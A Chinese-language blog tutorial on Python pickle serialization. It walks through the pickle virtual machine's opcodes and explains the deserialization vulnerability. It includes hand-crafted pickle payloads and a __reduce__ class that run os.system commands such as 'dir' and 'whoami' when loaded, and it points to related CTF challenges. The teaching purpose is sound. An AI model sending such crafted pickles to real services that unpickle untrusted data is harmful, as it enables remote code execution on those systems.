一个普通的序列化和反序列化

import pickle

data = ['aa', 'bb', 'cc']
#序列化
p = pickle.dumps(data)
print(p)
#反序列化
d = pickle.loads(p)
print(d)

需要注意的是不同版本的python序列化的结果是不同的

image-20220324112610842

这里主要研究py2

image-20220324113252901

那么这个序列化的字符串是按照什么规则生成的呢,这里要涉及到PVM( Python Virtual Machine , Python 虚拟机 )

照搬一下大佬的原话:

PVM 有什么用呢 ? 它的执行流程是怎样的呢 ?

  1. 先来回答第一个问题

    在使用 C , C++ 等编译性语言编写的程序时 , 解释器需要先将源代码文件转换成计算机使用的机器语言( 也就是常说的 " 编译 " 过程 ) , 然后经过链接器链接之后形成了二进制可执行文件( 也就是常说的 " 链接 " 过程 ) . 运行该程序的时候 , 计算机会将二进制可执行文件从硬盘载入到内存中并运行 .

    但是对于 Python 而言 , 它可以直接从源代码运行程序 . Python解释器会将源代码编译为字节码 , 然后将编译后的字节码转发到 Python 虚拟机中执行 .

    所以说 PVM 的作用非常简单 , 它是一个用来解释字节码的解释引擎 .

  2. 再来回答第二个问题

    一般来说 , 当运行 Python 程序时 , PVM 会执行两个步骤 .

    首先 , PVM 会把源代码编译成字节码 . 字节码是 Python 语言特有的一种表现形式 , 它不是二进制机器码 , 需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在内存中生成字节码 , 在程序执行结束后被自动丢弃 .

    一般来说 , 在构建程序时最好给 Python 进程在主机上的写入权限 , 这样只要源代码没有改变 , 生成的 .pyc 文件就可以被重复利用 , 提高执行效率 , 同时隐藏源代码 .

    然后 , Python 进程会把编译好的字节码转发到 PVM( Python 虚拟机 ) 中 , PVM会循环迭代执行字节码指令 , 直到所有操作被完成 .

那么 PVM 和 Pickle模块/序列化过程/反序列化过程 有什么联系呢 ?

Pickle是一门基于栈的编程语言 , 有不同的编写方式 , 其本质就是一个轻量级的 PVM .

这个轻量级的 PVM 由三个部分组成 , 如下所示

  • 指令处理器( Instruction processor )

    从数据流中读取操作码和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变 stack 和 memo 区域的值 . 直到遇到 " . " 这个结束符号 . 这时 , 最终停留在栈顶的的值将会被作为反序列化对象返回 .

  • 栈区( stack )

    由 Python 的列表( list )实现 , 作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果

  • 标签区( memo )

    由 Python 的字典( dict )实现 , 可以看作是数据索引或者标记 , 为 PVM 的整个生命周期提供存储功能 .

常见的指令

c : 读取本行的内容作为模块名( module ) , 读取下一行的内容作为对象名( object ) . 然后将 module.object 作为可调用对象压入到栈中
( : 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组
S : 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中
t : 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中
R : 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用参数的对象并执行该对象  .最后将结果压入到栈中
a : 将栈的第一个元素append到第二个元素(列表)中
p : 将栈顶对象储存至memo_n
l : 寻找栈中的上一个标记对象,并组合之间的数据为列表
. : 结束整个 Pickle 反序列化过程

再来看一下开头的例子

(lp0    #将一个标记对象压入栈中,标记对象之间的数据为列表,并将将栈顶对象储存至memo中,编号为0
S'aa'    #将aa压入栈中
p1        #将栈顶元素aa存储在memo中
aS'bb'    #将栈的第一个元素append到第二个元素(列表)中,将bb压入栈中
p2        #将栈顶元素bb存储在memo中
aS'cc'    #将栈的第一个元素append到第二个元素(列表)中,将cc压入栈中
p3        #将栈顶元素cc存储在memo中
a.        #将栈的第一个元素append到第二个元素(列表)中,结束pickle

我们可以手写一个序列化数据

cos        #读取本行的内容(os)作为模块名, 读取下一行的内容(system)作为对象名,然后将 module.object 作为可调用对象压入到栈中
system    
(S'dir'    #将dir压入栈
tR.        #从栈中弹出数据,形成元组('dir')压入栈
        #再将元组和对象弹出,然后将该元组作为可调用参数的对象并执行该对象,也就是执行system('dir')

将上面的序列化字符串在python2下反序列化,相当于执行了os.system('dir')

image-20220324134712204

或者这样

import pickle

str = b'''(cos
system
S'whoami'
o.'''
pickle.loads(str)

那么漏洞出现在哪呢

在反序列化过程中 , 编程语言需要根据序列化字符串去解析出自己独特的语言数据结构 . 为了实现这点,就必然要在内部把解析出来的结果去执行一下 ,这里要提到一个魔术方法__reduce__()

image-20220324141943094

是不是感觉跟R指令差不多,事实上 , R指令就是 __reduce__() 魔术函数的底层实现 ,而在反序列化过程结束的时候 , Python 进程会自动调用 __reduce__() 魔术方法 , 如果我们可以控制被调用函数的参数 , Python 进程就会执行我们的恶意代码

import pickle
import os

class Test(object):
    def __reduce__(self):
        return (os.system,('dir',))

test = pickle.dumps(Test())
pickle.loads(test)

这样就会执行dir命令

相关题目有[watevrCTF-2019]Pickle Store[CISCN2019 华北赛区 Day1 Web2]ikun


浅谈python反序列化漏洞_LetheSec的博客-CSDN博客_python反序列化漏洞

Python pickle 反序列化实例分析 - 安全客,安全资讯平台 (anquanke.com)

Python Pickle/CPickle 反序列化漏洞 - H0t-A1r-B4llo0n (guildhab.top)

pickle反序列化初探 - 先知社区 (aliyun.com)

最后修改:2023 年 12 月 15 日
如果觉得我的文章对你有用,请随意赞赏